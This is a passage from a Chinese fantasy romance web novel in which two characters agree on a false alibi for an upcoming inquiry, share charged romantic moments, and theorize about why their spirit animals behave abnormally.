坠楼在他的把握之中,即便小黑真的关键时刻掉链子,只要能扑腾一下就足够让闻璱调整。 不论如何,闻璱不认为自己会受太重的伤。 恰恰相反的是,弓铮皎现在很大概率会因“在普通人前使用精神体”和“违规进行精神体研究”两项罪名被收容,这才是闻璱认为的“险”。 弓铮皎倒好,只担心错过丰收季跟自己回老家。 闻璱摩挲了一下手腕上的大毛绒圈圈,一时间竟有些欲言又止。 他总说弓铮皎做事时总是走极端,要么极端地自我满足,要么极端地奉献,他试图让弓铮皎学会折衷,第一步是创建明确的奖惩机制。 而这之前,这套机制见效还算明显。 直到今天。 按道理说,此刻应该惩罚弓铮皎的乱来,而且必须要足够用力,让弓铮皎长个教训。 可听了弓铮皎的话,他竟然也觉得,今天实在情有可原。 闻璱自认为,心软并不是自己的风格。 他沉思了一会,决定跳过这个话题,直达下一步:“等被提审之后,你就说,我们在搞地下情。” 弓铮皎脸色立刻爆红,烫得手心发痒,他从手指的缝隙里偷瞄闻璱:“……啊?” 他险些要怀疑自己的耳朵了——话题怎么突然转到这里?怎么会有这样的意外收获? 闻璱则一本正经道:“如果宫烁精神鉴定结果正常,你叔叔深究这件事,宫烁可能会测谎仪检测。到时候,你必须准备一套作为托底的说辞,解释你以融合态被人看见的原因。 “幸好你在会场出现过,而且是那种会被误会的状态。众目睽睽下,不会有人认为大老虎就是你,你得一口咬定,你只是用精神体接住了我,而你本人,在放出精神体后,宫烁尖叫,你则赶去会场。” “至于你那副打扮……算了,我觉得柳部长提审时一定不会深究这一点,他应该会试图催眠你的意识来还愿事件。如果他真问起来,就说是我们偷情的印记,我会说我有美妆兴趣的。” “啊?”弓铮皎震撼到放下手。 顿了顿,闻璱继续道:“这很重要,高级别哨兵和向导的正式结合会导致双方出现精神力波动,程度因人而异,这也是特种人婚姻、备孕都受监管的原因。等白塔那边开始调查,你必须一口咬定,我们私底下已经发生过星行为,这让你的精神力过于活跃,今天情急之下,才会短暂暴露在宫烁眼前,明白吗?” 他本着科学的态度提议,但涉及的话题实在太令人想入非非,至少对弓铮皎来说,还是太超过了。 弓铮皎:“这我这这这个呃……”显然是彻底宕机了。 闻璱只能用另一件事先唤回弓铮皎的理智:“对了,还没问你,张律师的话你听过了,有什么想法?” 弓铮皎这才能勉强回答问题:“没有,说不上很有,不管是不是真的,证物和口供都交给警卫部和程主席了,总归和我没关系。” 见他并没有为此生出什么多愁善感,闻璱才好继续道:“现在开始我们把口供对好,第一次星行为发生在——” “等等,等等!”弓铮皎终于忍无可忍。 他屁股上长刺一样地坐不住,站起来在闻璱病床边转了好几圈,才坐回原位上,顶着一张能煎蛋的脸,艰难解释:“你不能同时跟我交代这样的两件事,我处理不了。” “为什么不能?这是为了让你逃避收容,又不是要你假戏真做。”闻璱道。 “……” 风中淩乱里,弓铮皎准确地捕捉到了“假戏真做”这四个字,何其令人心动。 他张了张嘴:“其实假戏真做也可以,这样,就也不算撒谎了。” 闻璱微笑:“不行。你想得美。” 弓铮皎对自己想入非非这件事也没有丝毫掩饰之意,装模作样道:“你知道我不擅长撒谎的,万一我一不小心说错了什么……” “那你就会被收容,我就会回老家相亲。” 弓铮皎:“……” 这下他彻底消停了。 闻璱便打开日历,思索道:“第一次星行为发生在……十天前,我们从逄靥星家回来的那天晚上,这样时间上比较合适,说你处于结合后的波动期也算合理。” “至于细节,务必要符合你的个人喜好。你有什么想法?” 弓铮皎眼神涣散:“@%……&*” “认真些。”闻璱无奈道,“你如果以为这是隐私,那就太天真了。涉及威胁普通人生命安全的可能,白塔会以最严格的态度对待你,如果我猜的不错,很大概率会由柳部长亲自催眠你,验证你的潜意识是否能够与口供相映射,所以,你必须把每一个细节都刻印在自己的DNA上。” “……我不是不认真。”弓铮皎滚烫且虚弱地说,“但是这个对我来说真的……我没试过,怎么知道我有什么喜好……” 如果要他现在想像,只要另一方是闻璱就……就挺让人喜欢的了。 他更不敢深想,生怕想太深了会当场失态,那才可怕。 闻璱不得不承认,他的话不无道理。 “如果你做不到的话,就只能交给我。”闻璱说,“你得再让我进入一次你的精神图景。” 这话一出,顿时,什么旖旎的幻想都烟消云散了。 弓铮皎如坠冰窖:“绝对不行。” 只有这件事没得商量,因为上一次他只是稍稍让步,就险些害得闻璱死去。 哪怕弓铮皎正在学着理解闻璱的想法,试图以闻璱的需求为第一要义,这些心思的优先程度也无论如何都越不过闻璱的生命。 他一定会选择让闻璱活下去的方法。 哪怕闻璱又说他自作多情、自作主张、自高自大也好——只有活着的人才能动嘴骂他。 闻璱看出弓铮皎深切的恐惧,也不再劝,话锋一转:“过来。” 等弓铮皎在他的病床边沿坐下,他张开双臂,微笑着说:“现在发放你的‘抱一下’。” 那是在喷泉旁被闻璱延迟的“抱一下”。 弓铮皎的手抬到一半,突然想起什么,又落了回去。 他警惕地看着闻璱:“不行,我宁可放弃,你肯定会趁抱住我的时候突然用精神力对我重拳出击,绝对不行。” 闻璱:“……” 竟然被他猜中了。 幸好即便如此,拿捏弓铮皎仍然是一件很容易的事情。 他放下手,轻轻笑了一声:“你想多了,其实……” 在起伏的被团里,他的手找到了弓铮皎的手,指尖从手背一路爬上肩膀,每一次轻点都留下火烤般的悸动。 最终,指尖勾勒过弓铮皎的下颌,停在耳畔。 闻璱附唇在弓铮皎耳边,轻声说:“我想吻你。” 那距离太近,其实说话之间,嘴唇已然擦过敏感的耳垂数次。 几个字倏然唤起了不久前的记忆,有关于在小楼下在草地里那个沾着血味的轻咬,就这样击溃了弓铮皎的防火墙,轻而易举。 他立刻偏过头,用自己的唇去找闻璱的唇。 而这一次,闻璱实在太宽容,也太慷慨。 急切的动作甚至让他们不小心碰到了对方的牙齿,闻璱吃痛地“嘶”了一声,探出舌尖轻舔弓铮皎的嘴唇。 之前留下的伤口已经愈合,闻璱报复心很强地在那里再次留下新的伤口。 这是一个带着一丝淡淡铁锈味的吻,可是弓铮皎完全沉溺其中,就像舌头被冰棒剌伤的小孩,一边舔舐冰棒,一边饮下自己的血。 就在他最意乱情迷的时候——一连串精神力的连环冲拳迎头而来! 弓铮皎口舌生津,眼冒金星,浆糊一片的脑袋里只剩下最后的念头:防不胜防…… 闻璱却在他舌尖呢喃:“是你色迷心窍。” 第56章 该适可而止了喔? 璱迷心窍的人的精神图景这一回换了新涂装。 闻璱一 进去,庄园里礼炮齐响,礼花彩带撒了他满头满脸。 紧接着,一只脖子、耳朵、甚至连匕首牙上都系了粉色蝴蝶结丝带的阿咬扑上来,绕着闻璱打转。 看打扮活脱脱一个花童。 余光里似乎有一团很大的东西晃来晃去,闻璱转眼一瞧,发现阿咬的尾巴开花——物理意义上的那种,尾巴尖分裂,变成了一大束毛茸茸的玫瑰。 闻璱:“……” 有种邪典式的萌,弓铮皎的品味还是这么割裂。 这样一看,眼前的布景可以说是不言而喻。 一句做过,弓铮皎的脑袋里就开始布置婚礼场景了。 不过,这一回闻璱没有探索的意图。 他抬手吩咐:“张嘴。” 阿咬乖巧地把大脑袋蹭过来,也乖乖张着嘴,只有舌头不听话地舔了一下闻璱掌心。 幸好这是精神体,且在精神图景内,只有被倒刺刮过微微痛麻,没有口水,也没有气味。 闻璱一边撸阿咬,一边光速安抚梳理了一下弓铮皎的精神图景,并顺手留下一些夹带私货的信息。 对口供再仔细,不如直接在潜意识里留下痕迹可靠,以闻璱对精神力的操纵,以弓铮皎对闻璱的设防,这并不难。 只不过这方法从伦理道德上讲,不那么人道,不好对其他人这样做。 等闻璱的意识从精神图景里抽离出来时,阿咬那骚扰的大尾巴就换成了弓铮皎的脑袋。 蜻蜓点水的吻早就结束了,但弓铮皎大概是被刚刚精神力的突然袭击打得还没回过神,他低着头,双臂环过闻璱的腰,把脸埋在闻璱锁骨窝里。 闻璱拍了拍弓铮皎:“剩下的正事就交给专业人员吧。” 酒庄的事、张律师的事、课题的事……总之,在提审之前,闻璱觉得不要想太多,尤其是总是胡思乱想的弓铮皎。 没想到弓铮皎还是一动不动。 闻璱只得把弓铮皎的脑袋推开,却发现弓铮皎抿着唇,脸白得惨无人色。 那个姿势让弓铮皎埋下脑袋时,耳朵紧紧贴在闻璱颈部大动脉的位置——他在听心跳,听血管搏动的声音。 他命运的咽喉就被这如此轻、又如此有力的跳动无形箝制住,让他的生命变得更坚强,死缠烂打地活下去,也变得更脆弱,好像只是这份心跳慢几拍,就会让他的命也烟消云散。 “我能兼顾。”弓铮皎突然冒出来这样没头没尾的一句话。 他抬眼直勾勾地看着闻璱,真诚、认真、宛如骑士立誓:“只要你确保你的安全,不管有什么命令我都能执行,别人做不到但是我可以!就像今天在会场,我能兼顾两边——前提是你很好。” “是我违反约定在先,但是……”话音越来越小,直到渐渐没有,倒是弓铮皎的脸以肉眼可见的速度涨红。 这原本是作为刚才理直气壮承认无法遵守命令的补充说明,被精神力冲拳打得乱七八糟时,弓铮皎后知后觉地反应过来,如果闻璱为此生气怎么办? 如果闻璱真的因此决定要结束现在的关系,他确实没有任何办法。 他的脑袋上一秒还在思考该如何挽留,下一秒,刚才闻璱在他精神图景里留下的印记渐渐传达到中枢,大脑开始重新运转,第一步就击溃了弓铮皎刚刚树立好的坚忍防线。 他看天、看地、看窗外,眼神飘了几圈,就是不敢和闻璱对视。 “但是呢,别想太多。”闻璱双手交叠在身前,对他的反应并不意外,似笑非笑道,“或者,我猜,你现在应该已经在想别的了。” “你、我……”弓铮皎站起来又绕着床兜了几圈,怎么也没法给自己降温。 他甚至不敢看闻璱:“你在我的脑袋里植入春梦,还怪我想太多……” 闻璱订正:“那就是你潜意识里的幻想,我只是给你划了重点。” 这话太无情太残忍,给弓铮皎心理意义上的迎头痛击:“我的幻想?我发誓我真的没有——至少没有这么超过,我怎么可能想这么超过的……” 闻璱微微一笑:“但你真的想了这么超过的。” 弓铮皎哑口无言。 但闻璱没说,他看过之后,轻描淡写地修改了些小细节,美名其曰,提升幻想的可实现性。 而且他细细想来,弓铮皎的幻想其实也就还好,说不上很超过——至少在自己添油加醋前是这样的。 如果让弓铮皎太超过的原因是自己夹带的私货……那他更不会承认了。 “好了,回家吧。”闻璱自顾自地下了床。 下午宴会突变,接着又忙着赶来做检查,虽然藉口吊生理盐水睡了一小觉,闻璱仍然觉得疲惫才是自己的主色。 坏消息是,从酒庄来医院的路,两人都没有采用合法的交通方式,以至于弓铮皎的车还停在酒庄。 好消息是,特种人医院白塔总院离弓铮皎家也实在不算远。 微凉的夜风吹散了弓铮皎的胡思乱想,等一路散步到家时,弓铮皎自认为自己的心已冰冷得就像在大润发杀了十年的鱼。 两人各回各屋,闻璱强迫症作祟,哪怕再累,只要能动就要先冲个澡才能睡。 然而,才刚把自己打湿,弓铮皎就在门外狂敲。 闻璱关了水,语气里不免带上几分被打扰的烦躁:“怎么了?” “快开门闻璱!”弓铮皎语气奇怪,似乎在压抑着某种欲望,间歇性夹杂着一丝急促的喘息。 闻璱只得擦干自己,期间敲门声不停歇,他草草披上一件浴袍拉开浴室门,语气有些冷冽:“做什么?” 隔着一道门时,弓铮皎那边的动静实在令人匪夷所思,兼之早先弓铮皎就沉浸在桃色幻想里,闻璱自然而然以为,弓铮皎又色魔附体了。 他觉得弓铮皎真是不挑时候,至于连冲个澡的功夫都不能等吗? 却没想到映入眼帘的弓铮皎眼眶发红——疼的。 他手臂上嵌着一只鲜红的喙,密密麻麻的一排小牙涂了胶水一般,严丝合缝地卡在肉里。 喙的主人,那只毛色漆黑的天鹅,像睡着了一样闭着眼睛,身体也乖巧地窝在弓铮皎臂弯,就是死活不松口。 偏弓铮皎还腾出另一只自由的手叫它卧得更舒坦些,纵容得不要太过分。 而弓铮皎见到发丝还沾着水珠的闻璱,脸上顿时飞起两片红,很羞愧又可惜地扫过闻璱身上。 浴袍将闻璱裹得很严实,该露的不该露的,都被掩藏得很好。 弓铮皎莫名又觉得向导素开始溢散了,或许因为浴室的水气尚未散去,浓度也相应提高。 闻璱伸手就去捏小黑修长的脖子,弓铮皎如梦方醒,竟然还躲了一下:“你轻一点,别掐疼它。” 闻璱:“……”到底是谁把你咬得痛痛的。 他瞟了一眼弓铮皎,再次把手伸向小黑,弓铮皎像只被霜打了的茄子,蔫蔫地不敢质疑。 于是,闻璱用力握住小黑颈部一捏,强迫小黑松口,然后一把把小黑提溜进自己怀里。 弓铮皎倒吸一口凉气,手臂上还残留着一圈牙印,幸好小黑并没有给他造成开放性创口,也无需任何处理,揉一揉就好。 闻璱自觉欠理,态度也立刻软了下来。 他手上为小黑理羽毛,口中万分温柔:“抱歉,我没想到小黑会咬你,真不好意思。你还好吗?” 哨兵哪有在向导面前说不行的,弓铮皎大哨兵主义发作,立刻硬气地拍了一巴掌自己手臂:“皮毛伤都算不上。” 他说没关系,闻璱就当作没关系,把注意力放回小黑身上。 或许是因为精神力消耗过大,这只平日里过分活泼爱闹的天鹅此刻竟然格外娴静,简直像是被狸猫换了太子。 虽然闻璱其实也很疲惫,只是洁癖让他强撑着去洗澡,小黑就没什么可强撑的了。 回到主人熟悉的怀抱让小黑加倍放松,即刻昏睡,闻璱摸了摸它,反而精神起来。 他已经很久没见小黑了,下午匆匆一见时,意外置连发生,根本顾不上抚摸,现在才有片刻闲暇。 如今正是换季时节,两年没怎么出现过的小黑开始换毛了,脑袋后面、翅膀外侧冒出几根白生生的羽管,乍一看像是沾了什么脏东西。 恰好弓铮皎恶补过鸟类禽类的养护知识,立刻道:“是不是需要掐羽管了?” 闻璱惊讶:“你知道?” “当然知道。”弓铮皎得意洋洋,“之前加到你的小号我就去查了,才知道原来天鹅是鸭科,怪不得你不叫拔牙小鸟——所以我才叫大猫的,不然我才不会起这么甜美的名字。” 明明“蒸饺omo”的甜美比之大猫骑士更甚。 闻璱被他逗笑,伸手帮小黑把羽管掐了,随口道:“它在撒娇呢。” 它的精神体总是跟弓铮皎撒娇,真奇怪。 弓铮皎看他熟练的动作,忽地说:“我好像知道它出现的契机了。” 闻璱一惊:“什么?” “你疲惫时,它就会出现。”弓铮皎道,“去小黑屋接我那天,坐地铁你操心了一路,到宿舍它出现了;后来在污染区,赶路一整天,半夜它又出现了;然后是今天下午,你长期精调我的感官,也花费了不少精力,所以它出现了——在危险发生之前。” “闻璱,你说有没有一种可能,它只是在提醒你,你需要休息了?”弓铮皎看着他问。 休息…… 闻璱下意识地想反驳:他并不觉得很累。 更何况,就算这两年真的有些精力不够用,那也是为了治病,那在此之前,为什么小黑会消失?在此之前的许多年…… 在此之前的许多年,他沉迷做任务刷分,任务一个接一个,在白塔也忙于课题,时间表上只有重合的行程,几乎没有空窗期。 但闻璱还是不太相信:“所以你是说,我休息休息,就会自然康复?” 这话一出,他自己竟然也觉得可能还真有点关系,因为自从放弃打渔,在弓铮皎家晒网开始……小黑出现的频率真的提高了。 可他还是不愿意承认。 他又盯着弓铮皎说:“那按你的说法,你休息了两年多,再加上有我安抚,应该彻底康复,而不是彻底没救。” 难道他的判断有误,弓铮皎和自己的病症并不相同? 又或者是因为张律师说过——弓铮皎是这其中太重要的一环,所以弓铮皎不能康复? 闻璱心里陡然一沉。 好在这只是个突如其来的猜想,他一时想不通,便打算先跳过。 “呃……”见他沉默,弓铮皎莫名有些心虚,“这又是什么陷阱?我现在想活,真的,这不是已经在努力打败病魔了吗?” 闻璱却有了头绪:“等等,你说的不无道理,或许是精神力过度活跃触发了某种代偿机制。而你的向导素渴求,或许也可以理解为另一种精神能量的自适应补偿机制……但为什么是你和我?你的精神图景异常又该怎么理解?” 弓铮皎道:“向导素渴求?你上次不还说是我胡思乱想吗?” 闻璱这才抽空道:“哦……但你今天的话,让我突然有了更多的思绪。” 他优雅地抚摸着小黑的羽毛,言语间竟带了一丝笑意:“你的精神力很强,又习惯了融合态,所以一般的代偿已经无效,你的大脑需要一个外来要素才能满足,所以你渴求我的向导素。” “我给过你一次,你的大脑就会奖励自己更多……”闻璱轻笑了一声,“你总是不委屈自己,不是吗?” 弓铮皎:?!?!?! 他没想到闻璱能看破——不,他自己都没想到自己这么过分——所以刚刚看到闻璱穿浴袍,他又在自己奖励自己了——而且,闻璱居然早就知道? 闻璱彷佛看穿了他的心,点点头道:“嗯,我以前也在想,你的自我满足机制也太霸道了。” 弓铮皎脸色爆红,强词夺理道:“我……不知者无罪。” “不是在责怪你。”闻璱握着小黑的脑袋拍了拍他手背。 顿了顿,闻璱又继续分析:“你说得对,干性溺水可能也是我的代偿导致的精神力和躯体机能不匹配,譬如精神力过度消耗后,大脑会反馈某些错误判断——你说那时小黑往水里钻,还会沉,所以这延时反应在我身上,正巧在为你安抚时受到酸雨的影响而发作。但我还是那个问题,为什么是你和我?” “如果只是因为代偿,为什么逄靥星的精神图景和精神体没有异常?为什么只有你和我有这么严重的反应?逄靥星又为什么会溺水?” 弓铮皎:“……这些可不是我说的。” 闻璱没理会他,雷厉风行地拿出终端,拨通了逄靥星的电话。 “喂?”闻璱不浪费一秒钟在废话上,“逄靥星,你最近精神图景和精神体有没有什么异常?任何一丝异常都没有吗?不要讳疾忌医,确定一切正常?好的,没事,挂了。” 他看着弓铮皎,又问了一遍:“为什么是你和我?” 弓铮皎:“……因为我们俩做任务都格外努力?” 闻璱摇摇头:“不那么简单。” 尽管这个困扰了闻璱许久的谜题仍然疑云密布,现在好歹有了一个可供探索的方向,闻璱别说困倦了,只恨不能立刻开始进行对照实验。 偏偏他惦记着,刚才的思路如果没错,代偿正是因为过度活跃,因此,他想要小黑恢复正常,反而更需要休息。 或者……得用点其他的事转移注意力。 而在弓铮皎眼里,这场对话大概将要到此为止,该是说“晚安”的时候了。 他意犹未尽地看了一眼闻璱怀里的小黑,轻声说:“那,祝你们好梦。” 没想到,小黑突然一动,修长的脖颈攀上弓铮皎肩头,稍微别过半圈。 闻璱温声邀请:“别走。” “你用我来代偿了那么久……该适可而止了喔?” 第57章 终于学乖了。 浴室里水声不断。 弓铮皎怀里抱着一只睡很香的小黑,坐在自家客房的沙发上,心却跳得活像个入室盗窃被抓现行的贼。 闻璱说适可而止…… 闻璱说适可而止!!! 怎么适可而止……怎么止?怎么止! 弓铮皎越想越呼吸困难,感觉自己快要神经性堿中毒了,脑袋里不断回放着闻璱刚才那两个字: “别走。” 从闻璱口中说出时,分明不带杂念。 但在弓铮皎脑袋里回放时,缠绵如情人的枕边耳语。 ……等等,但是根本也没有人说,闻璱同意他上床陪睡啊。 弓铮皎甚至突然感觉放松了点,虽然也伴随着一点小小的失望。 他心想,没错,说不定只是有话跟他说,说完他就该走了。就算可以留下来,这间客房很大,足够再搬一个摺叠床进来;或者他可以打地铺;或者他可以睡沙发;甚至让他在这里站一夜岗也行。 欣赏闻璱的睡颜也很好——而且对他的心脏和脸皮好。 再这样下去,他真不好说是心脏先过速,还是脸皮先起火。 戛然而止的水声就像一个声控开关,立刻把弓铮皎的免疫机制唤醒了,一时间,五脏六腑都像是移植来的器官,敲锣打鼓地开始排异。 紧接着,“咔”地一声,浴室的门被打开了。 空气循环系统效果很好,只有轻微的水气蔓延出来。 但弓铮皎几乎在看到人影的一瞬就被淹没,被馥郁的香气溺得眼花缭乱。 尤其当他现在知道,这一切很有可能都是自己又在胡思乱想地奖励自己…… 这简直让他更无法呼吸了。 闻璱则一边擦着头发,一边走出来。 从沙发前路过时,弓铮皎正襟危坐宛如在军训,奉上小黑的动作更如荆轲献图般“包藏祸心”。 闻璱就顺手摸了摸小黑,温声道:“你不洗个澡吗?” 他只是提醒一声,因为没有反应过来,弓铮皎为什么一直坐在这里等。 明明弓铮皎家不止一个浴室,他们完全可以同时使用不同的浴室洗澡。 但弓铮皎大脑短路,这普通的询问在他脑袋里形成一个暧昧的回路:我洗完了,你可以去洗了。 弓铮皎倒吸一口凉气,手忙脚乱地把小黑放下:“我我我我回自己屋里洗。” 闻璱侧过脸看他,眼神促狭:“哦,原来是想用我的浴室。” 弓铮皎不敢回嘴,已落荒而逃。 等他洗了个飞快的战斗澡回来时,闻璱换上了浅色的睡衣,正坐在床边看电子书。 小黑也从沙发上被转移到了床上,卧在两个枕头的中间。 弓铮皎的脚步在沙发跟前就停下了,彷佛床边有一道深渊,他无论如何都迈不过去。 他绕着沙发兜了两圈:“这个沙发看起来很好睡的样子。” 闻璱无语:“又在发疯。过来。” 于是,弓铮皎又兴奋又不情愿地飘了过去,在闻璱身边坐下。 距离并不算很近,但场景格外不同,让弓铮皎觉得自己浑身上下似乎都在被清甜而微冷的向导素刺激——不对,这是他的幻想。 “不是幻想。”闻璱却说,“现在才是我的向导素。” 弓铮皎:“啊?” 闻璱解释道:“长期代偿可能会导致进入失代偿期,那时候就麻烦了。趁现在,你的情况还算稳定,最好干预一下。” 他放下电子书,拿起床头柜上的一小管护手霜,在手臂上挤了一小团。 乳白色的膏体在白皙的肌肤上一经抹开就无影无踪,但是,察觉到弓铮皎注视的目光,闻璱刻意地放慢速度,修长的十指无数次交叉,好像在专门展示。 “看够了?”闻璱轻声说。 “啊?啊!”弓铮皎连忙移开视线。 然而坐得太近,他的视野里几乎只有闻璱,不聚焦在那双手,就只能聚焦在闻璱的脸上,杀伤力似乎更大了。 这距离也刚好让闻璱捧起了他的下巴。 大概是脸太热,弓铮皎洗澡时顺带洗了好几遍脸,被过度清洁的皮肤干燥得浮现了小小的裂纹。 闻璱在指尖上又挤出一小豆护手霜,在他眼下轻轻一点,然后温柔地抹开。 肉眼可见地,被触碰过的皮肤红了起来,比任何过敏都明显。 弓铮皎:“你别乱来!” 闻璱这才用力捏住他:“是你别乱动,会影响效果。” “什么效果?” “你的介入效果。” “你之前锚定的味道,来源于生活中从我身上捕捉到的印象,而现在……”闻璱又摸了摸那道红印,“是不是已经变成了这支护手霜的香气?” 他把护手霜放在弓铮皎手中,轻声道:“花果香调,也是你喜欢的味道,你可以从它开始——把自我奖励机制从幻觉转变为实质,让你的大脑恢复这部分分区的正常判断力。” 弓铮皎心道:是用它来代餐吧。 但闻璱说得没错。 眼下被抹了那一小片护手霜的香气几乎腻进了弓铮皎的眼睛里,一时间,记忆里的香气真的在被光速替换,从令人头晕目眩的水生调,变成了叫人心脏砰砰跳的清新香气。 像沾着露珠的夜香木兰,芬芳,微冷,花瓣洁白,却又意外地富有肉感。 抹过护手霜之后,闻璱也没说让他走。 于是,弓铮皎天人交战了一番,最终还是居心叵测地躺下了。 闻璱熄了床头灯,光线暗下来,却并不不至于一片漆黑,因为小黑喜欢空气流动的感觉,所以窗户并未完全掩上。 微风吹动窗帘,一缕缕月光趁机溜进来,微弱,但或许会影响敏感的哨兵入睡。 闻璱随口问:“可以吗?” 弓铮皎果断道:“可以。” 这光线对他来说当然过分亮了,但他原本也不打算睡觉。 闻璱躺在他的身边,他怎么可能睡得着。 他紧张得呼吸频率加快,闻璱忍不住轻笑一声。 但闻璱还是不信,在向导素的催眠效果下,弓铮皎真能忍住不睡,于是心安理得地闭上双眼。 第一千声心跳过后,弓铮皎在黑暗中睁开双眼。 闻璱也没能入睡,但闻璱的心跳稳定而缓慢,并不像自己胸腔里那颗怦怦发狂。 一开始,弓铮皎只是在靠数心跳来判断时间,后来,从闻璱不变的呼吸频率里,他意识到闻璱也失眠了。 他猛地坐起身,捧起两个枕头中间的小黑,缓缓把那根修长的天鹅颈拉直——然后放在两人中间。 “楚河汉界。”他轻声说,“用来防我,你放心吧。” 闻璱:“……” 他只是想说不要虐待精神体。 弓铮皎再次躺回去。 但他听到背后窸窸窣窣,是闻璱从原本的平躺,变成侧卧。 并且,是面朝自己的侧卧。 “转过来。”闻璱轻声说。 弓铮皎……弓铮皎根本无法拒绝。 他只能乖乖转过去。 一线摇晃的月光,足够弓铮皎看清眼前人的面容,但他眼皮一眨,照膜融合,原本细微的光线便都被视毯放大了千百倍,让他能看清闻璱每一根睫毛的反光。 闻璱闭着眼睛,雪白的长发像凝固的月光,铺在枕头、被子上,还有一缕漫过小黑被捋直的脖子,流淌到弓铮皎的眼前。 “你偷看我。” 他看到浅粉色的唇瓣微动。 “我……我……我对不起。”弓铮皎完全不狡辩,“我睡不着。” “嗯。”闻璱的声音轻得像梦话,“我都听到你的心跳声了,好吵。” “……对不起。”弓铮皎口不择言,“我就说还是沙发比床好睡了,老虎是猫科的你知道吧?猫科动物就喜欢窝着睡觉,太宽敞的地方我睡不着,不是……” 闻璱打断他:“不许再说话了。” 弓铮皎只能咕噜着发出一声气音的:“嗯。” 可嘴巴闭上了,眼睛却无论如何都舍不得合上。 反而因为无法宣泄废话,他的呼吸越来越轻,心跳声反而越来越响,几乎整个五脏六腑都在共振。 一声一声,让那条轻灵的小孔雀鱼从胃里反流进了口中,在牙关囫囵乱撞。 “我……我真的睡不着……”他终于忍不住说,“我不正经,我……总之我……” 再这样下去,他不知道自己会越想越过分到什么地步。 以至于他一把抄起小黑:“我带小黑出去散个步。” 小黑显然早就寝了,奈何抵抗不住大猫非要说:小黑亦未寝。 幸好自从患病开始,闻璱和小黑之间的连接格外薄弱,否则这一下必然闹得闻璱也寝不下去。 但闻璱早就打定主意,今晚必然要给他尝试一下脱敏的,怎么能接受创业未半而中道崩卒。 弓铮皎的动作很快,幸好闻璱一直用精神力监测着他,在弓铮皎翻身起床的瞬间,闻璱伸手扣住他手腕。 皮肤、精神力、精神体同时碰触,让弓铮皎那一片皮肤都敏感地发热,但奇异地,闻璱也终于有一种久违的某根神经链条被重连的感觉。 他立刻选择顺应直觉。 风涌进卧室,掀得窗帘被单纷飞,而弓铮皎被轻柔而不容拒绝地拉扯着倒了下去。 他并没有失衡,倒下反而是怕较劲会伤到小黑。 可当弓铮皎跪伏在柔软的被子上,垂眸看去,却发现被他圈在怀中的并非小黑。 那双乌黑而油光水滑的翅膀太大,从弓铮皎腋下伸过去,将他笼在其中。 在这个被翅膀封闭的窄小空间里,弓铮皎的视野里只有眼前的闻璱。 不一样的闻璱。 墨色自发梢而上,渐渐染遍全头,还有眉毛、眼睫。 更惹眼的则是那双眼,轻轻眨过,再睁开时,染上了血一般的红。 叫那张原本总是显得冷感的脸蛋,骤然浓墨重彩起来,轶丽得移不开眼。 “嗯……” 他听到闻璱若有若无地轻哼了一声。 “好久没这样了,还真是有点不适应。”闻璱说。 他抬眼,以融合态的视觉再次观察弓铮皎。 天鹅的视锥细胞比人更多一种,对紫外线光谱更加敏感,尽管此刻是深夜,他眼里的弓铮皎仍然变得丰富多彩。 小黑的习性或许也一定程度上感染了他,让他稍侧过脸,微微抬起下巴,那样有些高傲地斜睨弓铮皎。 ……可他明明躺在地上,被锁在弓铮皎的双臂之间。 即便不算被禁锢,也该是老虎身下的猎物才对。 弓铮皎的喉头滚了滚,一时间说不出话。 他想,原来闻璱的融合态是这样的。 好漂亮。 紧接着,就拐向另一条阴暗的小路。 他真希望闻璱不再受病痛困扰,但又期盼,如果疾病会留下闻璱无法随意拟态融合,必须要依赖自己的后遗症…… 只要他一个人享有这份令人心动的绝景就好。 这念头太过分,太没良心,他多想立刻扔出脑海。 但这念头也太诚实,在他心里生了根,薅都薅不掉。 他一定需要另一件更美妙的事来覆盖才行。 而对野兽来说,最极致的享受无非是狩猎。 心心念念的猎物已经在臂弯的方寸之间,正仰起修长而优雅的脖颈,宛如在邀请他去叼去咬,享受脉搏滚过舌尖的快感。 他放任冲动垂下头——却在将要触及的咫尺距离硬生生停下。 这绮丽的画面竟然与闻璱从他潜意识中抽丝剥茧出的幻想一摸一样。 唯一不同的是接下来的展开。 如果按照幻想里的话…… 滚烫的呼吸扑在闻璱的喉结上,弓铮皎抬眼时,恰巧撞进那双殷红的眼中。 不同于平日里那般清浅温和,危险的颜色彷佛一道警钟,敲响了弓铮皎所剩无几的理智。 他咬紧牙关,让那尾小孔雀鱼自他吐息之际溜走,声音也带上了不甘的颤:“我想……” 那双红瞳于是轻轻眯起。 闻璱微微一笑:“终于学乖了。” 凸起的喉结便也随着他轻笑而颤抖,他轻声说:“准许。” 第58章 现在是奖励时间。 得到许可的弓铮皎迫不及大地低下头。 脑袋里有种冲动叫嚣着,让他想要拟态融合,届时可以将这整段漂亮的颈项都含在口中,享受这份绝对意义上的占有。 幸好理智终究让他悬崖勒马,只是含住闻璱的喉结,用舌尖反覆描摹。 舔舐之后,又按捺不住地用虎牙磨过。 这已是弓铮皎极度克制之下的反应,还是让闻璱忍不住轻哼一声。 那毕竟是虎牙,不是柔软的舌尖,即便并未拟态融合,掠过肌肤时,仍带来微弱而无法捉摸的痛。 更不必说那种命门被利齿研磨的危机感,令闻璱羽毛竖起,鸡皮疙瘩爬了一背。 但这一声闷哼出声的同时,闻璱立刻察觉到还有什么不对了。 弓铮皎,就如他自己从前所说,只要给他一点点可能的机会,他就不会错过。 他来劲了。 闻璱眯眼望去,弓铮皎也用那双尖锐的兽瞳凝视着自己。 “放开我。”弓铮皎的声音已不自觉地带上了闷雷滚动般的虎哮音,低频音震得人心里发慌。 但闻璱知道,这并不是示威,反而更接近示弱的呜咽。 闻璱的翅膀美丽而又有力,弓铮皎不舍得太用力,生怕会伤到闻璱,就无法逃脱禁锢。 不逃脱,也就意味着他们还要继续保持着这个几乎紧紧相贴的姿势…… 弓铮皎不好说闻璱是不是已经察觉到什么,但他总归是没脸继续耍赖了。 上一回好歹是吻过,这一次还什么都没做就有反应,显得他实在太色魔上身,简直无颜再见闻璱。 他不敢再瞧闻璱的眼,生怕从中看出吃惊、生气、失望,或是任何其他的情绪——总之不会有惊叹、鼓励就是了。 羞耻让他一脑门拱进了闻璱肩窝,像鸵鸟避险一样装死,也期冀于以此捱过这段异常状态。 他独自心乱如麻,不知道闻璱此刻格外宽容。 训虎计画终于取得了可视化成果,闻璱有种终于攻克了重要课题般的、无与伦比的成就感。 大猫窘迫,大猫想要胡天胡地,在闻璱眼里都变成了讨赏的撒娇。 闻璱知道弓铮皎此刻最迫在眉睫的需求是什么。 而且,从驯服的角度来讲,弓铮皎现在的表现堪称是里程碑式的,值得很用力的夸奖,也好鼓励他再接再厉。 